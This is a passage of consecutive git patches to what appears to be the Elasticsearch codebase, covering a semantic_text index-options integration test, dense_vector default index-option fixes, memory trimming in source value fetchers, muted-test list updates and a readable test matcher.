+import org.elasticsearch.xcontent.XContentFactory;
+import org.elasticsearch.xcontent.XContentType;
+import org.elasticsearch.xpack.core.inference.action.DeleteInferenceEndpointAction;
+import org.elasticsearch.xpack.core.inference.action.PutInferenceModelAction;
+import org.elasticsearch.xpack.inference.InferenceIndex;
+import org.elasticsearch.xpack.inference.LocalStateInferencePlugin;
+import org.elasticsearch.xpack.inference.mapper.SemanticTextFieldMapper;
+import org.elasticsearch.xpack.inference.mock.TestDenseInferenceServiceExtension;
+import org.elasticsearch.xpack.inference.mock.TestInferenceServicePlugin;
+import org.elasticsearch.xpack.inference.mock.TestSparseInferenceServiceExtension;
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.IOException;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
+import static org.hamcrest.CoreMatchers.equalTo;
+
+public class SemanticTextIndexOptionsIT extends ESIntegTestCase {
+    private static final String INDEX_NAME = "test-index";
+    private static final Map<String, Object> BBQ_COMPATIBLE_SERVICE_SETTINGS = Map.of(
+        "model",
+        "my_model",
+        "dimensions",
+        256,
+        "similarity",
+        "cosine",
+        "api_key",
+        "my_api_key"
+    );
+
+    private final Map<String, TaskType> inferenceIds = new HashMap<>();
+
+    @Override
+    protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) {
+        return Settings.builder().put(LicenseSettings.SELF_GENERATED_LICENSE_TYPE.getKey(), "trial").build();
+    }
+
+    @Override
+    protected Collection<Class<? extends Plugin>> nodePlugins() {
+        return List.of(LocalStateInferencePlugin.class, TestInferenceServicePlugin.class, ReindexPlugin.class);
+    }
+
+    @Before
+    public void resetLicense() throws Exception {
+        setLicense(License.LicenseType.TRIAL);
+    }
+
+    @After
+    public void cleanUp() {
+        assertAcked(
+            safeGet(
+                client().admin()
+                    .indices()
+                    .prepareDelete(INDEX_NAME)
+                    .setIndicesOptions(
+                        IndicesOptions.builder().concreteTargetOptions(new IndicesOptions.ConcreteTargetOptions(true)).build()
+                    )
+                    .execute()
+            )
+        );
+
+        for (var entry : inferenceIds.entrySet()) {
+            assertAcked(
+                safeGet(
+                    client().execute(
+                        DeleteInferenceEndpointAction.INSTANCE,
+                        new DeleteInferenceEndpointAction.Request(entry.getKey(), entry.getValue(), true, false)
+                    )
+                )
+            );
+        }
+    }
+
+    public void testValidateIndexOptionsWithBasicLicense() throws Exception {
+        final String inferenceId = "test-inference-id-1";
+        final String inferenceFieldName = "inference_field";
+        createInferenceEndpoint(TaskType.TEXT_EMBEDDING, inferenceId, BBQ_COMPATIBLE_SERVICE_SETTINGS);
+        downgradeLicenseAndRestartCluster();
+
+        IndexOptions indexOptions = new DenseVectorFieldMapper.Int8HnswIndexOptions(
+            randomIntBetween(1, 100),
+            randomIntBetween(1, 10_000),
+            null,
+            null
+        );
+        assertAcked(
+            safeGet(prepareCreate(INDEX_NAME).setMapping(generateMapping(inferenceFieldName, inferenceId, indexOptions)).execute())
+        );
+
+        final Map<String, Object> expectedFieldMapping = generateExpectedFieldMapping(inferenceFieldName, inferenceId, indexOptions);
+        assertThat(getFieldMappings(inferenceFieldName, false), equalTo(expectedFieldMapping));
+    }
+
+    private void createInferenceEndpoint(TaskType taskType, String inferenceId, Map<String, Object> serviceSettings) throws IOException {
+        final String service = switch (taskType) {
+            case TEXT_EMBEDDING -> TestDenseInferenceServiceExtension.TestInferenceService.NAME;
+            case SPARSE_EMBEDDING -> TestSparseInferenceServiceExtension.TestInferenceService.NAME;
+            default -> throw new IllegalArgumentException("Unhandled task type [" + taskType + "]");
+        };
+
+        final BytesReference content;
+        try (XContentBuilder builder = XContentFactory.jsonBuilder()) {
+            builder.startObject();
+            builder.field("service", service);
+            builder.field("service_settings", serviceSettings);
+            builder.endObject();
+
+            content = BytesReference.bytes(builder);
+        }
+
+        PutInferenceModelAction.Request request = new PutInferenceModelAction.Request(
+            taskType,
+            inferenceId,
+            content,
+            XContentType.JSON,
+            TEST_REQUEST_TIMEOUT
+        );
+        var responseFuture = client().execute(PutInferenceModelAction.INSTANCE, request);
+        assertThat(responseFuture.actionGet(TEST_REQUEST_TIMEOUT).getModel().getInferenceEntityId(), equalTo(inferenceId));
+
+        inferenceIds.put(inferenceId, taskType);
+    }
+
+    private static XContentBuilder generateMapping(String inferenceFieldName, String inferenceId, @Nullable IndexOptions indexOptions)
+        throws IOException {
+        XContentBuilder mapping = XContentFactory.jsonBuilder();
+        mapping.startObject();
+        mapping.field("properties");
+        generateFieldMapping(mapping, inferenceFieldName, inferenceId, indexOptions);
+        mapping.endObject();
+
+        return mapping;
+    }
+
+    private static void generateFieldMapping(
+        XContentBuilder builder,
+        String inferenceFieldName,
+        String inferenceId,
+        @Nullable IndexOptions indexOptions
+    ) throws IOException {
+        builder.startObject();
+        builder.startObject(inferenceFieldName);
+        builder.field("type", SemanticTextFieldMapper.CONTENT_TYPE);
+        builder.field("inference_id", inferenceId);
+        if (indexOptions != null) {
+            builder.startObject("index_options");
+            if (indexOptions instanceof DenseVectorFieldMapper.DenseVectorIndexOptions) {
+                builder.field("dense_vector");
+                indexOptions.toXContent(builder, ToXContent.EMPTY_PARAMS);
+            }
+            builder.endObject();
+        }
+        builder.endObject();
+        builder.endObject();
+    }
+
+    private static Map<String, Object> generateExpectedFieldMapping(
+        String inferenceFieldName,
+        String inferenceId,
+        @Nullable IndexOptions indexOptions
+    ) throws IOException {
+        Map<String, Object> expectedFieldMapping;
+        try (XContentBuilder builder = XContentFactory.jsonBuilder()) {
+            generateFieldMapping(builder, inferenceFieldName, inferenceId, indexOptions);
+            expectedFieldMapping = XContentHelper.convertToMap(BytesReference.bytes(builder), false, XContentType.JSON).v2();
+        }
+
+        return expectedFieldMapping;
+    }
+
+    @SuppressWarnings("unchecked")
+    private static Map<String, Object> filterNullOrEmptyValues(Map<String, Object> map) {
+        Map<String, Object> filteredMap = new HashMap<>();
+        for (var entry : map.entrySet()) {
+            Object value = entry.getValue();
+            if (entry.getValue() instanceof Map<?, ?> mapValue) {
+                if (mapValue.isEmpty()) {
+                    continue;
+                }
+
+                value = filterNullOrEmptyValues((Map<String, Object>) mapValue);
+            }
+
+            if (value != null) {
+                filteredMap.put(entry.getKey(), value);
+            }
+        }
+
+        return filteredMap;
+    }
+
+    private static Map<String, Object> getFieldMappings(String fieldName, boolean includeDefaults) {
+        var request = new GetFieldMappingsRequest().indices(INDEX_NAME).fields(fieldName).includeDefaults(includeDefaults);
+        return safeGet(client().execute(GetFieldMappingsAction.INSTANCE, request)).fieldMappings(INDEX_NAME, fieldName).sourceAsMap();
+    }
+
+    private static void setLicense(License.LicenseType type) throws Exception {
+        if (type == License.LicenseType.BASIC) {
+            assertAcked(
+                safeGet(
+                    client().execute(
+                        PostStartBasicAction.INSTANCE,
+                        new PostStartBasicRequest(TEST_REQUEST_TIMEOUT, TEST_REQUEST_TIMEOUT).acknowledge(true)
+                    )
+                )
+            );
+        } else {
+            License license = TestUtils.generateSignedLicense(
+                type.getTypeName(),
+                License.VERSION_CURRENT,
+                -1,
+                TimeValue.timeValueHours(24)
+            );
+            assertAcked(
+                safeGet(
+                    client().execute(
+                        PutLicenseAction.INSTANCE,
+                        new PutLicenseRequest(TEST_REQUEST_TIMEOUT, TEST_REQUEST_TIMEOUT).license(license)
+                    )
+                )
+            );
+        }
+    }
+
+    private static void assertLicense(License.LicenseType type) {
+        var getLicenseResponse = safeGet(client().execute(GetLicenseAction.INSTANCE, new GetLicenseRequest(TEST_REQUEST_TIMEOUT)));
+        assertThat(getLicenseResponse.license().type(), equalTo(type.getTypeName()));
+    }
+
+    private void downgradeLicenseAndRestartCluster() throws Exception {
+        // Downgrade the license and restart the cluster to force the model registry to rebuild
+        setLicense(License.LicenseType.BASIC);
+        internalCluster().fullRestart(new InternalTestCluster.RestartCallback());
+        ensureGreen(InferenceIndex.INDEX_NAME);
+        assertLicense(License.LicenseType.BASIC);
+    }
+}
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/mapper/SemanticTextFieldMapper.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/mapper/SemanticTextFieldMapper.java
index 5400bf6acc673..8f111bcb2c785 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/mapper/SemanticTextFieldMapper.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/mapper/SemanticTextFieldMapper.java
@@ -1223,7 +1223,7 @@ static boolean indexVersionDefaultsToBbqHnsw(IndexVersion indexVersion) {
             || indexVersion.between(SEMANTIC_TEXT_DEFAULTS_TO_BBQ_BACKPORT_8_X, IndexVersions.UPGRADE_TO_LUCENE_10_0_0);
     }
 
-    static DenseVectorFieldMapper.DenseVectorIndexOptions defaultBbqHnswDenseVectorIndexOptions() {
+    public static DenseVectorFieldMapper.DenseVectorIndexOptions defaultBbqHnswDenseVectorIndexOptions() {
         int m = Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN;
         int efConstruction = Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH;
         DenseVectorFieldMapper.RescoreVector rescoreVector = new DenseVectorFieldMapper.RescoreVector(DEFAULT_RESCORE_OVERSAMPLE);

From e7239c0fd0f9ee73561be13757869443b6ba344d Mon Sep 17 00:00:00 2001
From: Ignacio Vera <ignacio.vera@elastic.co>
Date: Fri, 4 Jul 2025 08:29:20 +0100
Subject: [PATCH 067/299] Trim to size lists created in source fetchers
 (#130521) (#130603)

This commit trim to size those lists to prevent wasteful heap usage.
---
 docs/changelog/130521.yaml                                   | 5 +++++
 .../elasticsearch/index/mapper/ArraySourceValueFetcher.java  | 3 ++-
 .../org/elasticsearch/index/mapper/NestedValueFetcher.java   | 3 ++-
 .../org/elasticsearch/index/mapper/SourceValueFetcher.java   | 3 ++-
 4 files changed, 11 insertions(+), 3 deletions(-)
 create mode 100644 docs/changelog/130521.yaml

diff --git a/docs/changelog/130521.yaml b/docs/changelog/130521.yaml
new file mode 100644
index 0000000000000..e5308ea8dc134
--- /dev/null
+++ b/docs/changelog/130521.yaml
@@ -0,0 +1,5 @@
+pr: 130521
+summary: Trim to size lists created in source fetchers
+area: Search
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/ArraySourceValueFetcher.java b/server/src/main/java/org/elasticsearch/index/mapper/ArraySourceValueFetcher.java
index 6c9c88f767617..fa835e4356667 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/ArraySourceValueFetcher.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/ArraySourceValueFetcher.java
@@ -56,7 +56,7 @@ public ArraySourceValueFetcher(Set<String> sourcePaths, Object nullValue) {
 
     @Override
     public List<Object> fetchValues(Source source, int doc, List<Object> ignoredValues) {
-        List<Object> values = new ArrayList<>();
+        ArrayList<Object> values = new ArrayList<>();
         for (String path : sourcePaths) {
             Object sourceValue = source.extractValue(path, nullValue);
             if (sourceValue == null) {
@@ -70,6 +70,7 @@ public List<Object> fetchValues(Source source, int doc, List<Object> ignoredValu
                 ignoredValues.add(sourceValue);
             }
         }
+        values.trimToSize();
         return values;
     }
 
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/NestedValueFetcher.java b/server/src/main/java/org/elasticsearch/index/mapper/NestedValueFetcher.java
index df9e348dc9fbc..008bbdbd0005b 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/NestedValueFetcher.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/NestedValueFetcher.java
@@ -42,7 +42,7 @@ public NestedValueFetcher(String nestedField, FieldFetcher nestedFieldFetcher) {
 
     @Override
     public List<Object> fetchValues(Source source, int doc, List<Object> includedValues) throws IOException {
-        List<Object> nestedEntriesToReturn = new ArrayList<>();
+        ArrayList<Object> nestedEntriesToReturn = new ArrayList<>();
         Map<String, Object> filteredSource = new HashMap<>();
         Map<String, Object> stub = createSourceMapStub(filteredSource);
         List<?> nestedValues = XContentMapValues.extractNestedSources(nestedFieldPath, source.source());
@@ -69,6 +69,7 @@ public List<Object> fetchValues(Source source, int doc, List<Object> includedVal
                 nestedEntriesToReturn.add(nestedEntry);
             }
         }
+        nestedEntriesToReturn.trimToSize();
         return nestedEntriesToReturn;
     }
 
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/SourceValueFetcher.java b/server/src/main/java/org/elasticsearch/index/mapper/SourceValueFetcher.java
index a65a3cd017954..7d1e722200ba3 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/SourceValueFetcher.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/SourceValueFetcher.java
@@ -55,7 +55,7 @@ public SourceValueFetcher(Set<String> sourcePaths, Object nullValue) {
 
     @Override
     public List<Object> fetchValues(Source source, int doc, List<Object> ignoredValues) {
-        List<Object> values = new ArrayList<>();
+        ArrayList<Object> values = new ArrayList<>();
         for (String path : sourcePaths) {
             Object sourceValue = source.extractValue(path, nullValue);
             if (sourceValue == null) {
@@ -92,6 +92,7 @@ public List<Object> fetchValues(Source source, int doc, List<Object> ignoredValu
                 }
             }
         }
+        values.trimToSize();
         return values;
     }
 

From 781c756845b4909c044a6d9a7abff4537f5cabea Mon Sep 17 00:00:00 2001
From: Jim Ferenczi <jim.ferenczi@elastic.co>
Date: Fri, 4 Jul 2025 09:19:39 +0100
Subject: [PATCH 068/299] Fix default index options when dimensions are unset
 for legacy indices (#130540) (#130575)

Backport of #130572 to 9.1
---
 .../test/search.vectors/40_knn_search.yml     | 34 +++++++
 .../vectors/DenseVectorFieldMapper.java       | 88 +++++++------------
 2 files changed, 65 insertions(+), 57 deletions(-)

diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
index 75be8d621608e..2c6d5144ce51f 100644
--- a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/search.vectors/40_knn_search.yml
@@ -605,6 +605,40 @@ setup:
   - match: { hits.hits.0._score: $knn_score0 }
   - match: { hits.hits.1._score: $knn_score1 }
   - match: { hits.hits.2._score: $knn_score2 }
+
+---
+"Dimensions are dynamically set":
+  - do:
+      indices.create:
+        index: test_index
+        body:
+          mappings:
+            properties:
+              embedding:
+                type: dense_vector
+
+  - do:
+      index:
+        index: test_index
+        id: "0"
+        body:
+          embedding: [ 0.5, 111.3, -13.0, 14.8, -156.0 ]
+
+  - do:
+      indices.get_mapping:
+        index: test_index
+
+  - match: { test_index.mappings.properties.embedding.type: dense_vector }
+  - match: { test_index.mappings.properties.embedding.dims: 5 }
+
+  - do:
+      catch: bad_request
+      index:
+        index: test_index
+        id: "0"
+        body:
+          embedding: [ 0.5, 111.3 ]
+
 ---
 "Updating dim to null is not allowed":
   - requires:
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
index 329e426be7f47..269299d60cc2d 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/vectors/DenseVectorFieldMapper.java
@@ -327,7 +327,9 @@ public Builder(String name, IndexVersion indexVersionCreated) {
                         || previous.updatableTo(current)
                 );
             if (defaultInt8Hnsw || defaultBBQ8Hnsw) {
-                this.indexOptions.alwaysSerialize();
+                if (defaultBBQ8Hnsw == false || (dims != null && dims.isConfigured())) {
+                    this.indexOptions.alwaysSerialize();
+                }
             }
             this.indexed.addValidator(v -> {
                 if (v) {
@@ -350,21 +352,31 @@ public Builder(String name, IndexVersion indexVersionCreated) {
         }
 
         private DenseVectorIndexOptions defaultIndexOptions(boolean defaultInt8Hnsw, boolean defaultBBQHnsw) {
-            if (this.dims != null && this.dims.isConfigured() && elementType.getValue() == ElementType.FLOAT && this.indexed.getValue()) {
-                if (defaultBBQHnsw && this.dims.getValue() >= BBQ_DIMS_DEFAULT_THRESHOLD) {
-                    return new BBQHnswIndexOptions(
-                        Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
-                        Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
-                        new RescoreVector(DEFAULT_OVERSAMPLE)
-                    );
-                } else if (defaultInt8Hnsw) {
-                    return new Int8HnswIndexOptions(
-                        Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
-                        Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
-                        null,
-                        null
-                    );
-                }
+            if (elementType.getValue() != ElementType.FLOAT || indexed.getValue() == false) {
+                return null;
+            }
+
+            boolean dimIsConfigured = dims != null && dims.isConfigured();
+            if (defaultBBQHnsw && dimIsConfigured == false) {
+                // Delay selecting the default index options until dimensions are configured.
+                // This applies only to indices that are eligible to use BBQ as the default,
+                // since prior to this change, the default was selected eagerly.
+                return null;
+            }
+
+            if (defaultBBQHnsw && dimIsConfigured && dims.getValue() >= BBQ_DIMS_DEFAULT_THRESHOLD) {
+                return new BBQHnswIndexOptions(
+                    Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
+                    Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
+                    new RescoreVector(DEFAULT_OVERSAMPLE)
+                );
+            } else if (defaultInt8Hnsw) {
+                return new Int8HnswIndexOptions(
+                    Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
+                    Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
+                    null,
+                    null
+                );
             }
             return null;
         }
@@ -2713,47 +2725,9 @@ public void parse(DocumentParserContext context) throws IOException {
         }
         if (fieldType().dims == null) {
             int dims = fieldType().elementType.parseDimensionCount(context);
-            ;
-            final boolean defaultInt8Hnsw = indexCreatedVersion.onOrAfter(IndexVersions.DEFAULT_DENSE_VECTOR_TO_INT8_HNSW);
-            final boolean defaultBBQ8Hnsw = indexCreatedVersion.onOrAfter(IndexVersions.DEFAULT_DENSE_VECTOR_TO_BBQ_HNSW);
-            DenseVectorIndexOptions denseVectorIndexOptions = fieldType().indexOptions;
-            if (denseVectorIndexOptions == null && fieldType().getElementType() == ElementType.FLOAT && fieldType().isIndexed()) {
-                if (defaultBBQ8Hnsw && dims >= BBQ_DIMS_DEFAULT_THRESHOLD) {
-                    denseVectorIndexOptions = new BBQHnswIndexOptions(
-                        Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
-                        Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
-                        new RescoreVector(DEFAULT_OVERSAMPLE)
-                    );
-                } else if (defaultInt8Hnsw) {
-                    denseVectorIndexOptions = new Int8HnswIndexOptions(
-                        Lucene99HnswVectorsFormat.DEFAULT_MAX_CONN,
-                        Lucene99HnswVectorsFormat.DEFAULT_BEAM_WIDTH,
-                        null,
-                        null
-                    );
-                }
-            }
-            if (denseVectorIndexOptions != null) {
-                denseVectorIndexOptions.validateDimension(dims);
-            }
-            DenseVectorFieldType updatedDenseVectorFieldType = new DenseVectorFieldType(
-                fieldType().name(),
-                indexCreatedVersion,
-                fieldType().elementType,
-                dims,
-                fieldType().indexed,
-                fieldType().similarity,
-                denseVectorIndexOptions,
-                fieldType().meta(),
-                fieldType().isSyntheticSource
-            );
-            Mapper update = new DenseVectorFieldMapper(
-                leafName(),
-                updatedDenseVectorFieldType,
-                builderParams,
-                denseVectorIndexOptions,
-                indexCreatedVersion
-            );
+            DenseVectorFieldMapper.Builder builder = (Builder) getMergeBuilder();
+            builder.dimensions(dims);
+            Mapper update = builder.build(context.createDynamicMapperBuilderContext());
             context.addDynamicMapper(update);
             return;
         }

From f06fff1e2095915c623eb5c9e9f514ae81288f7e Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Fri, 4 Jul 2025 16:06:39 +0200
Subject: [PATCH 069/299] Use @WithoutEntitlements for terminal tests (#130614)
 (#130629)

---
 libs/cli/src/test/java/org/elasticsearch/cli/TerminalTests.java | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/libs/cli/src/test/java/org/elasticsearch/cli/TerminalTests.java b/libs/cli/src/test/java/org/elasticsearch/cli/TerminalTests.java
index c8ef64ced7754..6e9fa4a49a59c 100644
--- a/libs/cli/src/test/java/org/elasticsearch/cli/TerminalTests.java
+++ b/libs/cli/src/test/java/org/elasticsearch/cli/TerminalTests.java
@@ -10,6 +10,7 @@
 package org.elasticsearch.cli;
 
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.WithoutEntitlements;
 
 import java.io.IOException;
 import java.io.OutputStream;
@@ -22,6 +23,7 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyNoMoreInteractions;
 
+@WithoutEntitlements // CLI tools don't run with entitlements enforced
 public class TerminalTests extends ESTestCase {
 
     public void testSystemTerminalIfRedirected() {

From 77dd0433e28b246127be5ad9e43a88b6b2e0aa79 Mon Sep 17 00:00:00 2001
From: Dimitris Rempapis <dimitris.rempapis@elastic.co>
Date: Fri, 4 Jul 2025 18:46:33 +0300
Subject: [PATCH 070/299] backport change (#130631)

Backports the following commits to 9.1:  - Unmute SearchWithRejectionsIT
testOpenContextsAfterRejections (#130628)
---
 muted-tests.yml                                                | 3 ---
 .../java/org/elasticsearch/search/SearchWithRejectionsIT.java  | 2 +-
 2 files changed, 1 insertion(+), 4 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 5253644557be7..cf2a5dfbeb3bc 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -296,9 +296,6 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test023InstallPluginUsingConfigFile
   issue: https://github.com/elastic/elasticsearch/issues/126145
-- class: org.elasticsearch.search.SearchWithRejectionsIT
-  method: testOpenContextsAfterRejections
-  issue: https://github.com/elastic/elasticsearch/issues/126340
 - class: org.elasticsearch.smoketest.MlWithSecurityIT
   method: test {yaml=ml/start_data_frame_analytics/Test start classification analysis when the dependent variable cardinality is too low}
   issue: https://github.com/elastic/elasticsearch/issues/123200
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/search/SearchWithRejectionsIT.java b/server/src/internalClusterTest/java/org/elasticsearch/search/SearchWithRejectionsIT.java
index 8081c05945da6..dd73522d09b42 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/search/SearchWithRejectionsIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/search/SearchWithRejectionsIT.java
@@ -58,7 +58,7 @@ public void testOpenContextsAfterRejections() throws Exception {
         }
         assertBusy(
             () -> assertThat(indicesAdmin().prepareStats().get().getTotal().getSearch().getOpenContexts(), equalTo(0L)),
-            1,
+            2,
             TimeUnit.SECONDS
         );
     }

From d52bed54e90d4699a5e53655f94959a515796651 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Fri, 4 Jul 2025 23:54:14 +0400
Subject: [PATCH 071/299] Fix cluster.put_component_template rest-api-spec
 (#130634) (#130649)

---
 .../rest-api-spec/api/cluster.put_component_template.json  | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.put_component_template.json b/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.put_component_template.json
index 4b7b032b43e13..d953f45d17e4e 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.put_component_template.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/cluster.put_component_template.json
@@ -33,9 +33,10 @@
         "description":"Whether the index template should only be added if new or can also replace an existing one",
         "default":false
       },
-      "timeout":{
-        "type":"time",
-        "description":"Explicit operation timeout"
+      "cause": {
+        "type": "string",
+        "description": "User defined reason for create the component template",
+        "default": "api"
       },
       "master_timeout":{
         "type":"time",

From 1f1b8e71f20def86a294ed2cdaf560c0bafc02f8 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Mon, 7 Jul 2025 00:00:20 +0200
Subject: [PATCH 072/299] Mute
 org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT test
 {p0=search.vectors/40_knn_search/Dimensions are dynamically set} #130626

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index cf2a5dfbeb3bc..fb1800e8657ea 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -548,6 +548,9 @@ tests:
 - class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
   method: testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution
   issue: https://github.com/elastic/elasticsearch/issues/130205
+- class: org.elasticsearch.backwards.MixedClusterClientYamlTestSuiteIT
+  method: test {p0=search.vectors/40_knn_search/Dimensions are dynamically set}
+  issue: https://github.com/elastic/elasticsearch/issues/130626
 
 # Examples:
 #

From 84cc587bbdddff3eb6651c846c50c523b7c15568 Mon Sep 17 00:00:00 2001
From: Martijn van Groningen <martijn.v.groningen@gmail.com>
Date: Mon, 7 Jul 2025 07:07:29 +0200
Subject: [PATCH 073/299] Fix TextFieldBlockLoaderTests test assumption.
 (#129361) (#130682)

Test assumes that values from keyword doc values fields are in sorted order, but that is no longer the case and values are sometimes in order as was provided during indexing.

Actual fix was to check for `synthetic_source_keep` instead of `ignore_above`. Also improved blockLoaderResult assertion by making it readable when it fails.

Closes #128012
Closes #128011
---
 .../TextFieldBlockLoaderTests.java            |  6 +-
 .../index/mapper/BlockLoaderTestRunner.java   | 93 ++++++++++++++++++-
 2 files changed, 96 insertions(+), 3 deletions(-)

diff --git a/server/src/test/java/org/elasticsearch/index/mapper/blockloader/TextFieldBlockLoaderTests.java b/server/src/test/java/org/elasticsearch/index/mapper/blockloader/TextFieldBlockLoaderTests.java
index 77c42740451ee..ce5482b15b0ee 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/blockloader/TextFieldBlockLoaderTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/blockloader/TextFieldBlockLoaderTests.java
@@ -27,6 +27,9 @@ public TextFieldBlockLoaderTests(Params params) {
 
     @Override
     protected Object expected(Map<String, Object> fieldMapping, Object value, TestContext testContext) {
+        logger.info("field mapping={}", fieldMapping);
+        logger.info("value={}", value);
+        logger.info("params={}", params.toString());
         return expectedValue(fieldMapping, value, params, testContext);
     }
 
@@ -82,7 +85,8 @@ public static Object expectedValue(Map<String, Object> fieldMapping, Object valu
                     .map(BytesRef::new)
                     .collect(Collectors.toList());
 
-                if (store == false) {
+                String ssk = (String) keywordMultiFieldMapping.get("synthetic_source_keep");
+                if (store == false && "arrays".equals(ssk) == false) {
                     // using doc_values for synthetic source
                     indexed = new ArrayList<>(new HashSet<>(indexed));
                     indexed.sort(BytesRef::compareTo);
diff --git a/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java b/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
index eb5bbea9e6bba..e35a53c0ecca8 100644
--- a/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
+++ b/test/framework/src/main/java/org/elasticsearch/index/mapper/BlockLoaderTestRunner.java
@@ -13,6 +13,7 @@
 import org.apache.lucene.index.LeafReaderContext;
 import org.apache.lucene.store.Directory;
 import org.apache.lucene.tests.index.RandomIndexWriter;
+import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.common.bytes.BytesReference;
 import org.elasticsearch.index.IndexSettings;
 import org.elasticsearch.index.fieldvisitor.StoredFieldLoader;
@@ -21,14 +22,20 @@
 import org.elasticsearch.search.lookup.SearchLookup;
 import org.elasticsearch.xcontent.XContentBuilder;
 import org.elasticsearch.xcontent.XContentType;
-import org.junit.Assert;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
 
 import java.io.IOException;
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
 
 import static org.apache.lucene.tests.util.LuceneTestCase.newDirectory;
 import static org.apache.lucene.tests.util.LuceneTestCase.random;
+import static org.elasticsearch.index.mapper.BlockLoaderTestRunner.PrettyEqual.prettyEqualTo;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.equalTo;
 
@@ -44,7 +51,7 @@ public void runTest(MapperService mapperService, Map<String, Object> document, O
         var documentXContent = XContentBuilder.builder(XContentType.JSON.xContent()).map(document);
 
         Object blockLoaderResult = setupAndInvokeBlockLoader(mapperService, documentXContent, blockLoaderFieldName);
-        Assert.assertEquals(expected, blockLoaderResult);
+        assertThat(blockLoaderResult, prettyEqualTo(expected));
     }
 
     private Object setupAndInvokeBlockLoader(MapperService mapperService, XContentBuilder document, String fieldName) throws IOException {
@@ -145,4 +152,86 @@ public FieldNamesFieldMapper.FieldNamesFieldType fieldNames() {
             }
         });
     }
+
+    // Copied from org.hamcrest.core.IsEqual and modified to pretty print failure when bytesref
+    static class PrettyEqual<T> extends BaseMatcher<T> {
+
+        private final Object expectedValue;
+
+        PrettyEqual(T equalArg) {
+            expectedValue = equalArg;
+        }
+
+        @Override
+        public boolean matches(Object actualValue) {
+            return areEqual(actualValue, expectedValue);
+        }
+
+        @Override
+        public void describeTo(Description description) {
+            description.appendValue(attemptMakeReadable(expectedValue));
+        }
+
+        @Override
+        public void describeMismatch(Object item, Description description) {
+            super.describeMismatch(attemptMakeReadable(item), description);
+        }
+
+        private static boolean areEqual(Object actual, Object expected) {
+            if (actual == null) {
+                return expected == null;
